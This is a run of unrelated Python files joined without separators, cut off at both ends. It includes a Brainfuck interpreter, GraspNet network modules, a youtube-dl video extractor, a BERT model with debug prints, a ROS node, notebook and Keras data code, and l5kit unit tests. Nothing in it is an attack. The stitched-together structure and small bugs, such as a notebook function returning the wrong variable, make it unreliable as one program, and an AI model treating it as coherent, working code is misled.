= [0], 0, 0, locate_brackets(code) while code_ptr < len(code): if code[code_ptr] == '>': cell_ptr += 1 if cell_ptr == len(cells): cells.append(0) elif code[code_ptr] == '<': if cell_ptr == 0: cell_ptr = 0 else: cell_ptr -= 1 elif code[code_ptr] == '+': if cells[cell_ptr] == CELL_SIZE - 1: print('Maximum cell size overflow.') cells[cell_ptr] = -CELL_SIZE else: cells[cell_ptr] += 1 elif code[code_ptr] == '-': if cells[cell_ptr] == -CELL_SIZE: print('Minimum cell size overflow.') cells[cell_ptr] = CELL_SIZE - 1 else: cells[cell_ptr] -= 1 elif code[code_ptr] == '.': print(chr(cells[cell_ptr]), end='') elif code[code_ptr] == ',': cells[cell_ptr] = int(input()) elif code[code_ptr] == '[' and cells[cell_ptr] == 0: code_ptr = brackets[code_ptr] elif code[code_ptr] == ']' and cells[cell_ptr] != 0: code_ptr = brackets[code_ptr] code_ptr += 1 def main(): if len(sys.argv) == 2: run(sys.argv[1]) else: print(f'Usage: {sys.argv[0]} filename') if __name__ == '__main__': main() 0 """Modules for GraspNet baseline model. Author: chenxi-wang """ import os import sys import torch import torch.nn as nn import torch.nn.functional as F BASE_DIR = os.path.dirname(os.path.abspath(__file__)) ROOT_DIR = os.path.dirname(BASE_DIR) sys.path.append(ROOT_DIR) sys.path.append(os.path.join(ROOT_DIR, 'pointnet2')) sys.path.append(os.path.join(ROOT_DIR, 'utils')) import pytorch_utils as pt_utils from loss_utils import batch_viewpoint_params_to_matrix, generate_grasp_views from pointnet2_utils import CylinderQueryAndGroup class ApproachNet(nn.Module): def __init__(self, num_view, seed_feature_dim): """Approach vector estimation from seed point features. Input: num_view: [int] number of views generated from each each seed point seed_feature_dim: [int] number of channels of seed point features """ super().__init__() self.num_view = num_view self.in_dim = seed_feature_dim self.conv1 = nn.Conv1d(self.in_dim, self.in_dim, 1) self.conv2 = nn.Conv1d(self.in_dim, 2 + self.num_view, 1) self.conv3 = nn.Conv1d(2 + self.num_view, 2 + self.num_view, 1) self.bn1 = nn.BatchNorm1d(self.in_dim) self.bn2 = nn.BatchNorm1d(2 + self.num_view) def forward(self, seed_xyz, seed_features, end_points): """Forward pass. Input: seed_xyz: [torch.FloatTensor, (batch_size,num_seed,3)] coordinates of seed points seed_features: [torch.FloatTensor, (batch_size,feature_dim,num_seed) features of seed points end_points: [dict] Output: end_points: [dict] """ B, num_seed, _ = seed_xyz.size() features = F.relu(self.bn1(self.conv1(seed_features)), inplace=True) features = F.relu(self.bn2(self.conv2(features)), inplace=True) features = self.conv3(features) objectness_score = features[:, :2, :] # (B, 2, num_seed) view_score = features[:, 2:2 + self.num_view, :].transpose( 1, 2).contiguous() # (B, num_seed, num_view) end_points['objectness_score'] = objectness_score end_points['view_score'] = view_score # print(view_score.min(), view_score.max(), view_score.mean()) top_view_scores, top_view_inds = torch.max(view_score, dim=2) # (B, num_seed) top_view_inds_ = top_view_inds.view(B, num_seed, 1, 1).expand(-1, -1, -1, 3).contiguous() template_views = generate_grasp_views(self.num_view).to( features.device) # (num_view, 3) template_views = template_views.view(1, 1, self.num_view, 3).expand( B, num_seed, -1, -1).contiguous() #(B, num_seed, num_view, 3) vp_xyz = torch.gather(template_views, 2, top_view_inds_).squeeze(2) #(B, num_seed, 3) vp_xyz_ = vp_xyz.view(-1, 3) batch_angle = torch.zeros(vp_xyz_.size(0), dtype=vp_xyz.dtype, device=vp_xyz.device) vp_rot = batch_viewpoint_params_to_matrix(-vp_xyz_, batch_angle).view( B, num_seed, 3, 3) end_points['grasp_top_view_inds'] = top_view_inds end_points['grasp_top_view_score'] = top_view_scores end_points['grasp_top_view_xyz'] = vp_xyz end_points['grasp_top_view_rot'] = vp_rot return end_points class CloudCrop(nn.Module): """Cylinder group and align for grasp configure estimation. Return a list of grouped points with different cropping depths. Input: nsample: [int] sample number in a group seed_feature_dim: [int] number of channels of grouped points cylinder_radius: [float] radius of the cylinder space hmin: [float] height of the bottom surface hmax_list: [list of float] list of heights of the upper surface """ def __init__(self, nsample, seed_feature_dim, cylinder_radius=0.05, hmin=-0.02, hmax_list=[0.01, 0.02, 0.03, 0.04]): super().__init__() self.nsample = nsample self.in_dim = seed_feature_dim self.cylinder_radius = cylinder_radius mlps = [self.in_dim, 64, 128, 256] self.groupers = [] for hmax in hmax_list: self.groupers.append( CylinderQueryAndGroup(cylinder_radius, hmin, hmax, nsample, use_xyz=True)) self.mlps = pt_utils.SharedMLP(mlps, bn=True) def forward(self, seed_xyz, pointcloud, vp_rot): """Forward pass. Input: seed_xyz: [torch.FloatTensor, (batch_size,num_seed,3)] coordinates of seed points pointcloud: [torch.FloatTensor, (batch_size,num_seed,3)] the points to be cropped vp_rot: [torch.FloatTensor, (batch_size,num_seed,3,3)] rotation matrices generated from approach vectors Output: vp_features: [torch.FloatTensor, (batch_size,num_features,num_seed,num_depth)] features of grouped points in different depths """ B, num_seed, _, _ = vp_rot.size() num_depth = len(self.groupers) grouped_features = [] for grouper in self.groupers: grouped_features.append(grouper( pointcloud, seed_xyz, vp_rot)) # (batch_size, feature_dim, num_seed, nsample) grouped_features = torch.stack( grouped_features, dim=3) # (batch_size, feature_dim, num_seed, num_depth, nsample) grouped_features = grouped_features.view( B, -1, num_seed * num_depth, self.nsample ) # (batch_size, feature_dim, num_seed*num_depth, nsample) vp_features = self.mlps( grouped_features ) # (batch_size, mlps[-1], num_seed*num_depth, nsample) vp_features = F.max_pool2d( vp_features, kernel_size=[1, vp_features.size(3) ]) # (batch_size, mlps[-1], num_seed*num_depth, 1) vp_features = vp_features.view(B, -1, num_seed, num_depth) return vp_features class OperationNet(nn.Module): """Grasp configure estimation. Input: num_angle: [int] number of in-plane rotation angle classes the value of the i-th class --> i*PI/num_angle (i=0,...,num_angle-1) num_depth: [int] number of gripper depth classes """ def __init__(self, num_angle, num_depth): # Output: # scores(num_angle) # angle class (num_angle) # width (num_angle) super().__init__() self.num_angle = num_angle self.num_depth = num_depth self.conv1 = nn.Conv1d(256, 128, 1) self.conv2 = nn.Conv1d(128, 128, 1) self.conv3 = nn.Conv1d(128, 3 * num_angle, 1) self.bn1 = nn.BatchNorm1d(128) self.bn2 = nn.BatchNorm1d(128) def forward(self, vp_features, end_points): """Forward pass. Input: vp_features: [torch.FloatTensor, (batch_size,num_seed,3)] features of grouped points in different depths end_points: [dict] Output: end_points: [dict] """ B, _, num_seed, num_depth = vp_features.size() vp_features = vp_features.view(B, -1, num_seed * num_depth) vp_features = F.relu(self.bn1(self.conv1(vp_features)), inplace=True) vp_features = F.relu(self.bn2(self.conv2(vp_features)), inplace=True) vp_features = self.conv3(vp_features) vp_features = vp_features.view(B, -1, num_seed, num_depth) # split prediction end_points['grasp_score_pred'] = vp_features[:, 0:self.num_angle] end_points['grasp_angle_cls_pred'] = vp_features[:, self.num_angle:2 * self.num_angle] end_points['grasp_width_pred'] = vp_features[:, 2 * self.num_angle:3 * self.num_angle] return end_points class ToleranceNet(nn.Module): """Grasp tolerance prediction. Input: num_angle: [int] number of in-plane rotation angle classes the value of the i-th class --> i*PI/num_angle (i=0,...,num_angle-1) num_depth: [int] number of gripper depth classes """ def __init__(self, num_angle, num_depth): # Output: # tolerance (num_angle) super().__init__() self.conv1 = nn.Conv1d(256, 128, 1) self.conv2 = nn.Conv1d(128, 128, 1) self.conv3 = nn.Conv1d(128, num_angle, 1) self.bn1 = nn.BatchNorm1d(128) self.bn2 = nn.BatchNorm1d(128) def forward(self, vp_features, end_points): """Forward pass. Input: vp_features: [torch.FloatTensor, (batch_size,num_seed,3)] features of grouped points in different depths end_points: [dict] Output: end_points: [dict] """ B, _, num_seed, num_depth = vp_features.size() vp_features = vp_features.view(B, -1, num_seed * num_depth) vp_features = F.relu(self.bn1(self.conv1(vp_features)), inplace=True) vp_features = F.relu(self.bn2(self.conv2(vp_features)), inplace=True) vp_features = self.conv3(vp_features) vp_features = vp_features.view(B, -1, num_seed, num_depth) end_points['grasp_tolerance_pred'] = vp_features return end_points # coding: utf-8 from __future__ import unicode_literals import re from .common import InfoExtractor from ..utils import float_or_none class VGTVIE(InfoExtractor): _VALID_URL = r'http://(?:www\.)?vgtv\.no/#!/(?:.*)/(?P[0-9]+)' _TESTS = [ { # streamType: vod 'url': 'http://www.vgtv.no/#!/video/84196/hevnen-er-soet-episode-10-abu', 'md5': 'b8be7a234cebb840c0d512c78013e02f', 'info_dict': { 'id': '84196', 'ext': 'mp4', 'title': 'Hevnen er søt: Episode 10 - Abu', 'description': 'md5:e25e4badb5f544b04341e14abdc72234', 'thumbnail': 're:^https?://.*\.jpg', 'duration': 648.000, 'timestamp': 1404626400, 'upload_date': '20140706', 'view_count': int, }, }, { # streamType: wasLive 'url': 'http://www.vgtv.no/#!/live/100764/opptak-vgtv-foelger-em-kvalifiseringen', 'info_dict': { 'id': '100764', 'ext': 'flv', 'title': 'OPPTAK: VGTV følger EM-kvalifiseringen', 'description': 'md5:3772d9c0dc2dff92a886b60039a7d4d3', 'thumbnail': 're:^https?://.*\.jpg', 'duration': 9103.0, 'timestamp': 1410113864, 'upload_date': '20140907', 'view_count': int, }, 'params': { # m3u8 download 'skip_download': True, }, }, { # streamType: live 'url': 'http://www.vgtv.no/#!/live/100015/direkte-her-kan-du-se-laksen-live-fra-suldalslaagen', 'info_dict': { 'id': '100015', 'ext': 'flv', 'title': 'DIREKTE: Her kan du se laksen live fra Suldalslågen!', 'description': 'md5:9a60cc23fa349f761628924e56eeec2d', 'thumbnail': 're:^https?://.*\.jpg', 'duration': 0, 'timestamp': 1407423348, 'upload_date': '20140807', 'view_count': int, }, 'params': { # m3u8 download 'skip_download': True, }, }, ] def _real_extract(self, url): video_id = self._match_id(url) data = self._download_json( 'http://svp.vg.no/svp/api/v1/vgtv/assets/%s?appName=vgtv-website' % video_id, video_id, 'Downloading media JSON') streams = data['streamUrls'] formats = [] hls_url = streams.get('hls') if hls_url: formats.extend(self._extract_m3u8_formats(hls_url, video_id, 'mp4')) hds_url = streams.get('hds') if hds_url: formats.extend(self._extract_f4m_formats(hds_url + '?hdcore=3.2.0&plugin=aasp-3.2.0.77.18', video_id)) mp4_url = streams.get('mp4') if mp4_url: _url = hls_url or hds_url MP4_URL_TEMPLATE = '%s/%%s.%s' % (mp4_url.rpartition('/')[0], mp4_url.rpartition('.')[-1]) for mp4_format in _url.split(','): m = re.search('(?P\d+)_(?P\d+)_(?P\d+)', mp4_format) if not m: continue width = int(m.group('width')) height = int(m.group('height')) vbr = int(m.group('vbr')) formats.append({ 'url': MP4_URL_TEMPLATE % mp4_format, 'format_id': 'mp4-%s' % vbr, 'width': width, 'height': height, 'vbr': vbr, 'preference': 1, }) self._sort_formats(formats) return { 'id': video_id, 'title': data['title'], 'description': data['description'], 'thumbnail': data['images']['main'] + '?t[]=900x506q80', 'timestamp': data['published'], 'duration': float_or_none(data['duration'], 1000), 'view_count': data['displays'], 'formats': formats, } climberwb/bert-pli1-10 # -*- coding: utf-8 -*- __author__ = 'yshao' import torch import torch.nn as nn import torch.nn.functional as F from pytorch_pretrained_bert import BertModel class BertPoolOutMax(nn.Module): def __init__(self, config, gpu_list, *args, **params): super(BertPoolOutMax, self).__init__() self.max_para_c = config.getint('model', 'max_para_c') self.max_para_q = config.getint('model', 'max_para_q') self.step = config.getint('model', 'step') self.max_len = config.getint("data", "max_seq_length") self.bert = BertModel.from_pretrained(config.get("model", "bert_path")) # self.maxpool = nn.MaxPool1d(kernel_size=self.max_para_c) self.maxpool = nn.MaxPool2d(kernel_size=(1, self.max_para_c)) def init_multi_gpu(self, device, config, *args, **params): self.bert = nn.DataParallel(self.bert, device_ids=device) print('hi') def forward(self, data, config, gpu_list, acc_result, mode): input_ids, attention_mask, token_type_ids = data['input_ids'], data['attention_mask'], data['token_type_ids'] with torch.no_grad(): output = [] for k in range(input_ids.size()[0]): q_lst = [] print('hi2') for i in range(0, self.max_para_q, self.step): print('hi3') print(input_ids[k, i:i+self.step].view(-1, self.max_len).size()) _, lst = self.bert(input_ids[k, i:i+self.step].view(-1, self.max_len), token_type_ids=token_type_ids[k, i:i+self.step].view(-1, self.max_len), attention_mask=attention_mask[k, i:i+self.step].view(-1, self.max_len)) print('before view', lst.size()) lst = lst.view(self.step, self.max_para_c, -1) # print('after view', lst.size()) lst = lst.permute(2, 0, 1) # print('after permute', lst.size()) lst = lst.unsqueeze(0) # print('after unsquezze', lst.size()) max_out = self.maxpool(lst) # print('after maxpool', max_out.size()) max_out = max_out.squeeze() # print('after squeeze', max_out.size()) max_out = max_out.transpose(0, 1) q_lst.extend(max_out.cpu().tolist()) #input('continue?') # print(len(q_lst)) #exit() assert (len(q_lst) == self.max_para_q) output.append([data['guid'][k], q_lst]) return {"output": output} task_executor/src/task_executor/beliefs.py0 #!/usr/bin/env python # Gathers beliefs that are published on the trace topic and provides a service # to query on the robot's belief thus far from __future__ import print_function, division import numpy as np from threading import Lock import rospy from std_srvs.srv import Trigger, TriggerResponse from assistance_msgs.msg import ExecutionEvent, BeliefKeys from assistance_msgs.srv import GetBeliefs, GetBeliefsResponse # The actual beliefs node class BeliefsServer(object): """ This server listens on the execution trace topic for updates to beliefs. When an update is sent out, it stores the result. A service call can later fetch the desired belief value """ EXECUTION_TRACE_TOPIC = '/execution_monitor/trace' def __init__(self): self._beliefs_lock = Lock() # Provide a service to reload; then reload self._reload_service = rospy.Service('~reload', Trigger, self.reload) self.reload() # Create the subscriber self._trace_sub = rospy.Subscriber(BeliefsServer.EXECUTION_TRACE_TOPIC, ExecutionEvent, self._on_trace) # Create and initialize the service servers self._get_beliefs_service = rospy.Service('~get_beliefs', GetBeliefs, self.get_beliefs) def start(self): # This is a no-op at the moment rospy.loginfo("Beliefs node ready...") def reload(self, req=None): # Reinitialize the dictionary of beliefs with self._beliefs_lock: self.beliefs = { getattr(BeliefKeys, attr): 0.0 for attr in dir(BeliefKeys) if attr.isupper() } def _on_trace(self, msg): # If this is not a belief event, ignore it if msg.type != ExecutionEvent.BELIEF_EVENT: return # Otherwise, update the known beliefs with self._beliefs_lock: self.beliefs[getattr(BeliefKeys, msg.name, msg.name)] = msg.belief_metadata.value def get_beliefs(self, req): # Simply do a dictionary lookup of the beliefs we know about beliefs, values = [], [] with self._beliefs_lock: for belief in (req.beliefs or self.beliefs.keys()): # Disambiguate the belief belief = getattr(BeliefKeys, belief, belief) # Then append the belief and the value to the response values.append(self.beliefs[belief]) beliefs.append(belief) return GetBeliefsResponse(beliefs, values) import os import pandas as pd import matplotlib.pyplot as plt import logging import warnings import tsfresh from tsfresh import extract_features, select_features from tsfresh import defaults from tsfresh.feature_extraction import feature_calculators from tsfresh.feature_extraction.settings import ComprehensiveFCParameters from tsfresh.utilities import dataframe_functions, profiling from tsfresh.utilities.distribution import MapDistributor, MultiprocessingDistributor,DistributorBaseClass from tsfresh.utilities.string_manipulation import convert_to_output_format from tsfresh.feature_extraction.settings import EfficientFCParameters from tsfresh.utilities.dataframe_functions import roll_time_series %tensorflow_version 2.x import tensorflow as tf device_name = tf.test.gpu_device_name() if device_name != '/device:GPU:0': raise SystemError('GPU device not found') print('Found GPU at: {}'.format(device_name)) def extract_product_features(df,fc_parameter,destination): features_product = [] extraction_method = fc_parameter.__class__.__name__ for p in df.sitc_id.unique(): product = df[df.sitc_id==p] p_features = extract_features( product[["export_val","year","country"]], column_id="country", column_sort="year", column_value=None,column_kind=None, chunksize=None, default_fc_parameters=fc_parameter ) features_product.append(p_features) p_features.to_csv(f"{p}_{extraction_method}_expval.csv") print(f'Extracted features for {p}: \n {features_product}') product_features = pd.concat(features_product) return p_features %timeit destination_1 =f'{PATH}/efficient_parameters' destination_2 = f'{PATH}/comprehensive_parameters' fc_parameters=[EfficientFCParameters(),ComprehensiveFCParameters()] extract_product_features(trade_dframe,fc_parameters[0],destination_1) extract_product_features(trade_dframe,fc_parameters[1],destination_2)# -*- coding:utf-8 -*- import math import os import cv2 import keras import numpy as np from keras.utils import to_categorical from utils import preprocess_input_vgg class DataGenerator(keras.utils.Sequence): def __init__(self, x, param, y=None, batch_size=1, shuffle=True, preprocess=preprocess_input_vgg, postfix=None): self.batch_size = batch_size self.x = x self.y = y self.indexes = np.arange(len(self.x)) self.shuffle = shuffle self.preprocess = preprocess self.batch_size = batch_size self.param = param if postfix is None: self.data_path = self.param.get_conf('data_path') else: self.data_path = os.path.join(self.param.get_conf('data_path'), postfix) self.train_size = param.get_conf('train_image_size') self.nb_class = self.param.get_conf('classes_num') def __len__(self): return math.ceil(len(self.x) / float(self.batch_size)) def __getitem__(self, index): batch_indexs = self.indexes[index * self.batch_size:(index + 1) * self.batch_size] batch_datas = [self.x[k] for k in batch_indexs] y=None if self.y is not None: y = [self.y[k] for k in batch_indexs] return self.data_generation(batch_datas,y) def on_epoch_end(self): if self.shuffle == True: np.random.shuffle(self.indexes) def data_generation(self, batch_datas, y=None): images = [] labels = [] for i, data in enumerate(batch_datas): img = cv2.imread(os.path.join(self.data_path, data))[:, :, ::-1] img = cv2.resize(img, (self.train_size, self.train_size)) images.append(img) if self.y is not None: for label in y: labels.append(to_categorical(label, self.nb_class)) images = np.array(images) if self.preprocess is not None: images = self.preprocess(images) # print(images.shape) if self.y is None: return np.array(images) return np.array(images), np.array(labels) import unittest import numpy as np import pytest from l5kit.data import (AGENT_DTYPE, ChunkedDataset, FRAME_DTYPE, get_agents_slice_from_frames, get_tl_faces_slice_from_frames, SCENE_DTYPE, TL_FACE_DTYPE) from l5kit.simulation.utils import disable_agents, get_frames_subset, insert_agent class TestAgentInsert(unittest.TestCase): def _get_simple_dataset(self) -> ChunkedDataset: # build a simple dataset with 3 frames # frame 0: # agent 0 # agent 1 # agent 2 # frame 1: # agent 0 # agent 1 # frame 2: # agent 0 dataset = ChunkedDataset("") dataset.scenes = np.zeros(1, dtype=SCENE_DTYPE) dataset.frames = np.zeros(3, dtype=FRAME_DTYPE) dataset.agents = np.zeros(6, dtype=AGENT_DTYPE) dataset.scenes[0]["frame_index_interval"] = (0, 3) dataset.frames["agent_index_interval"] = [(0, 3), (3, 5), (5, 6)] dataset.agents["track_id"] = [0, 1, 2, 0, 1, 0] return dataset def test_invalid(self) -> None: # try to insert out of bounds with self.assertRaises(ValueError): insert_agent( np.zeros(1, dtype=AGENT_DTYPE), 100, self._get_simple_dataset() ) # try to insert in a multi-scene dataset with self.assertRaises(ValueError): dataset = self._get_simple_dataset() dataset.scenes = np.concatenate([dataset.scenes, dataset.scenes]) insert_agent(np.zeros(1, dtype=AGENT_DTYPE), 100, dataset) def test_update(self) -> None: # try to update agent 0 in frame 0 dataset = self._get_simple_dataset() agent = np.zeros(1, dtype=AGENT_DTYPE) agent["centroid"] = (1, 1) agent["yaw"] = 1 agent["label_probabilities"] += 1 insert_agent(agent, 0, dataset) self.assertTrue(np.allclose(agent["centroid"], dataset.agents[0]["centroid"])) self.assertTrue(np.allclose(agent["yaw"], dataset.agents[0]["yaw"])) self.assertTrue( np.allclose( agent["label_probabilities"], dataset.agents[0]["label_probabilities"] ) ) # the number of agents should be the same self.assertTrue(len(dataset.agents), len(self._get_simple_dataset().agents)) # the boundries should be the same self.assertTrue( np.allclose( dataset.frames["agent_index_interval"], self._get_simple_dataset().frames["agent_index_interval"], ) ) def test_insert_1(self) -> None: # try to insert agent 2 in frame 1 dataset = self._get_simple_dataset() agent = np.zeros(1, dtype=AGENT_DTYPE) agent["centroid"] = (1, 1) agent["yaw"] = 1 agent["label_probabilities"] += 1 agent["track_id"] += 2 insert_agent(agent, 1, dataset) # the new agent should be in position 5 expected_index = 5 self.assertTrue( np.allclose(agent["centroid"], dataset.agents[expected_index]["centroid"]) ) self.assertTrue( np.allclose(agent["yaw"], dataset.agents[expected_index]["yaw"]) ) self.assertTrue( np.allclose( agent["label_probabilities"], dataset.agents[expected_index]["label_probabilities"], ) ) # the number of agents should be 1 more old_dataset = self._get_simple_dataset() self.assertTrue(len(dataset.agents), len(old_dataset.agents) + 1) # the interval should be the same for frame 0 and 1 start self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][:1], old_dataset.frames["agent_index_interval"][:1], ) ) self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][1, 0], old_dataset.frames["agent_index_interval"][1, 0], ) ) # from 1 end to end they should be one more self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][1, 1], old_dataset.frames["agent_index_interval"][1, 1] + 1, ) ) self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][2:], old_dataset.frames["agent_index_interval"][2:] + 1, ) ) def test_insert_2(self) -> None: # try to insert agent 1 in frame 2 dataset = self._get_simple_dataset() agent = np.zeros(1, dtype=AGENT_DTYPE) agent["centroid"] = (1, 1) agent["yaw"] = 1 agent["label_probabilities"] += 1 agent["track_id"] += 1 insert_agent(agent, 2, dataset) # the new agent should be the last one expected_index = -1 self.assertTrue( np.allclose(agent["centroid"], dataset.agents[expected_index]["centroid"]) ) self.assertTrue( np.allclose(agent["yaw"], dataset.agents[expected_index]["yaw"]) ) self.assertTrue( np.allclose( agent["label_probabilities"], dataset.agents[expected_index]["label_probabilities"], ) ) # the number of agents should be 1 more old_dataset = self._get_simple_dataset() self.assertTrue(len(dataset.agents), len(old_dataset.agents) + 1) # the interval should be the same for frame 0, 1 and 2 start self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][:-1], old_dataset.frames["agent_index_interval"][:-1], ) ) self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][-1, 0], old_dataset.frames["agent_index_interval"][-1, 0], ) ) # the very last index should be 1 more self.assertTrue( np.allclose( dataset.frames["agent_index_interval"][-1, 1], old_dataset.frames["agent_index_interval"][-1, 1] + 1, ) ) class TestDisableAgents(unittest.TestCase): def _get_simple_dataset(self) -> ChunkedDataset: # build a simple dataset with 3 frames # frame 0: # agent 0 # agent 1 # agent 2 # frame 1: # agent 0 # agent 1 # frame 2: # agent 0 dataset = ChunkedDataset("") dataset.scenes = np.zeros(1, dtype=SCENE_DTYPE) dataset.frames = np.zeros(3, dtype=FRAME_DTYPE) dataset.agents = np.zeros(6, dtype=AGENT_DTYPE) dataset.scenes[0]["frame_index_interval"] = (0, 3) dataset.frames["agent_index_interval"] = [(0, 3), (3, 5), (5, 6)] dataset.agents["track_id"] = [0, 1, 2, 0, 1, 0] # set properties to something different than 0 dataset.agents["centroid"] = np.random.rand(*dataset.agents["centroid"].shape) dataset.agents["yaw"] = np.random.rand(*dataset.agents["yaw"].shape) dataset.agents["extent"] = np.random.rand(*dataset.agents["extent"].shape) return dataset def test_invalid(self) -> None: # try to delete agents in a multi-scene dataset with self.assertRaises(ValueError): dataset = self._get_simple_dataset() dataset.scenes = np.concatenate([dataset.scenes, dataset.scenes]) disable_agents(dataset, np.arange(2)) # try to delete agents using a N-D allowlist with self.assertRaises(ValueError): dataset = self._get_simple_dataset() disable_agents(dataset, np.zeros((2, 2))) def test_allowlist(self) -> None: dataset = self._get_simple_dataset() original_agents = dataset.agents.copy() disable_agents(dataset, np.asarray([1])) # all agents except the 2 and -2 should be removed for agent_idx in [0, 2, 3, -1]: self.assertTrue(np.allclose(dataset.agents[agent_idx]["centroid"], 0)) self.assertTrue(np.allclose(dataset.agents[agent_idx]["yaw"], 0)) self.assertTrue(np.allclose(dataset.agents[agent_idx]["extent"], 0)) self.assertTrue( np.allclose(dataset.agents[agent_idx]["label_probabilities"], -1) ) # those two should have been left untouched for agent_idx in [1, -2]: new_agent = dataset.agents[agent_idx] old_agent = original_agents[agent_idx] self.assertTrue(np.allclose(new_agent["centroid"], old_agent["centroid"])) self.assertTrue(np.allclose(new_agent["yaw"], old_agent["yaw"])) self.assertTrue(np.allclose(new_agent["extent"], old_agent["extent"])) self.assertTrue( np.allclose( new_agent["label_probabilities"], old_agent["label_probabilities"] ) ) def test_dataset_frames_subset_invalid(zarr_dataset: ChunkedDataset) -> None: with pytest.raises(ValueError): get_frames_subset(zarr_dataset, 0, 10) # not in numpy with pytest.raises(ValueError): get_frames_subset(zarr_dataset, -1, 10) # invalid start with pytest.raises(ValueError): get_frames_subset( zarr_dataset, len(zarr_dataset.frames), len(zarr_dataset.frames) + 1 ) # invalid start with pytest.raises(ValueError): get_frames_subset(zarr_dataset, 10, 9) # invalid end with pytest.raises(ValueError): get_frames_subset(zarr_dataset, 10, len(zarr_dataset.frames) + 1) # invalid end def test_dataset_frames_subset(zarr_dataset: ChunkedDataset) -> None: zarr_dataset = zarr_dataset.get_scene_dataset(0) frame_start = 10 frame_end = 25 zarr_cut = get_frames_subset(zarr_dataset, frame_start, frame_end) assert len(zarr_cut.scenes) == 1 assert len(zarr_cut.frames) == frame_end - frame_start assert np.all( zarr_cut.frames["ego_translation"] == zarr_dataset.frames["ego_translation"][frame_start:frame_end] ) agents_slice = get_agents_slice_from_frames( *zarr_dataset.frames[[frame_start, frame_end - 1]] ) tls_slice = get_tl_faces_slice_from_frames( *zarr_dataset.frames[[frame_start, frame_end - 1]] ) assert np.all(zarr_cut.agents == zarr_dataset.agents[agents_slice]) assert np.all(zarr_cut.tl_faces == zarr_dataset.tl_faces[tls_slice]) assert np.all(zarr_cut.scenes["frame_index_interval"] == (0, len(zarr_cut.frames))) def test_mock_dataset_frames_subset() -> None: zarr_dataset = ChunkedDataset("") zarr_dataset.scenes = np.zeros(1, dtype=SCENE_DTYPE) zarr_dataset.scenes[0]["frame_index_interval"] = (0, 4) zarr_dataset.frames = np.zeros(4, dtype=FRAME_DTYPE) zarr_dataset.frames["agent_index_interval"] = [(0, 1), (1, 2), (2, 3), (3, 4)] zarr_dataset.agents = np.zeros(4, dtype=AGENT_DTYPE) zarr_dataset.agents["track_id"] = np.arange(4) zarr_dataset.tl_faces = np.zeros(0, dtype=TL_FACE_DTYPE) frame_start = 1 frame_end = 3 zarr_cut = get_frames_subset(zarr_dataset, frame_start, frame_end) assert np.all(zarr_cut.agents["track_id"] == [1, 2]) frame_start = 0 frame_end = 3 zarr_cut = get_frames_subset(zarr_dataset, frame_start, frame_end) assert np.all(zarr_cut.agents["track_id"] == [0, 1, 2]) frame_start = 2 frame_end = 4 zarr_cut = get_frames_subset(zarr_dataset, frame_start, frame_end) assert np.all(zarr_cut.agents["track_id"] == [2, 3]) """ globalapis.py string manipulation dynamic loading """ globalapis_dict = { ###################### # UNIX APIS ###################### "unix" : { "memory" : { "malloc" : "Memory Allocation", "calloc" : "Allocate and initialize memory", }, "scheduler" : { "fork" : "Fork Child Process", "pthread_create" : "Spawn thread", }, }, ###################### # LINUX KERNEL APIS ###################### "linuxkernel" : { "memory" : { }, "scheduler" : { }, }, ###################### # BCM APIS ###################### "bcm" : { "memory" : { }, "scheduler" : { }, }, } class DataStore: store = {} @classmethod def add_item(cls, key, value): cls.store[key] = value @classmethod def remove_item(cls, key): del cls.store[key] @classmethod def reset(cls): cls.store = {}seizure/tasks.py from collections import namedtuple import hickle as hkl import os.path import numpy as np import scipy.io import common.time as time from sklearn import preprocessing import graphlab from sklearn.model_selection import GroupKFold, StratifiedKFold, GridSearchCV, cross_val_score, RandomizedSearchCV,PredefinedSplit import random from sklearn.svm import SVC,LinearSVC from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier, ExtraTreesClassifier, \ GradientBoostingClassifier, VotingClassifier from sklearn.calibration import CalibratedClassifierCV from sklearn.naive_bayes import GaussianNB from sklearn.linear_model import LassoCV,LogisticRegression from sklearn.feature_selection import RFECV from scipy.stats.mstats import * TaskCore = namedtuple('TaskCore', ['cached_data_loader', 'data_dir', 'target', 'pipeline', 'classifier', 'normalize', 'gen_preictal', 'cv_ratio','bin_size']) class Task(object): def __init__(self, task_core): self.task_core = task_core def filename(self): raise NotImplementedError("Implement this") def run(self): return self.task_core.cached_data_loader.load(self.filename(), self.load_data) class Loadpreictal_FD_DFA_DataTask(Task): """ You can choose to enable DFA and FD features """ def filename(self): return 'data_preictal_FD_DFA_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data(self.task_core.data_dir, self.task_core.target, '1', self.task_core.pipeline, self.task_core.gen_preictal) class Loadinterictal_FD_DFA_DataTask(Task): """ You can choose to enable DFA and FD features """ def filename(self): return 'data_interictal_FD_DFA_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data(self.task_core.data_dir, self.task_core.target, '0', self.task_core.pipeline, self.task_core.gen_preictal) class LoadTest_FD_DFA_DataTask(Task): """ You can choose to enable DFA and FD features """ def filename(self): return 'data_test_FD_DFA_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data_test(self.task_core.data_dir, self.task_core.target, self.task_core.pipeline, self.task_core.bin_size) class LoadpreictalDataTask(Task): """ Load the preictal mat files 1 by 1, transform each 1-second segment through the pipeline """ def filename(self): return 'data_preictal_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data(self.task_core.data_dir, self.task_core.target, '1', self.task_core.pipeline, self.task_core.gen_preictal) class LoadInterictalDataTask(Task): """ Load the interictal mat files 1 by 1, transform each 1-second segment through the pipeline """ def filename(self): return 'data_interictal_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data(self.task_core.data_dir, self.task_core.target, '0', self.task_core.pipeline) class LoadTestDataTask(Task): """ Load the test mat files 1 by 1, transform each 1-second segment through the pipeline """ def filename(self): return 'data_test_%s_%s' % (self.task_core.target, self.task_core.pipeline.get_name()) def load_data(self): return parse_input_data_test(self.task_core.data_dir, self.task_core.target, self.task_core.pipeline,self.task_core.bin_size) class MakePredictionsTask(Task): """ Make predictions on the test data. """ def filename(self): return 'predictions_%s_%s_%s' % ( self.task_core.target, self.task_core.pipeline.get_name(), self.task_core.classifier) def load_data(self): preictal_data = 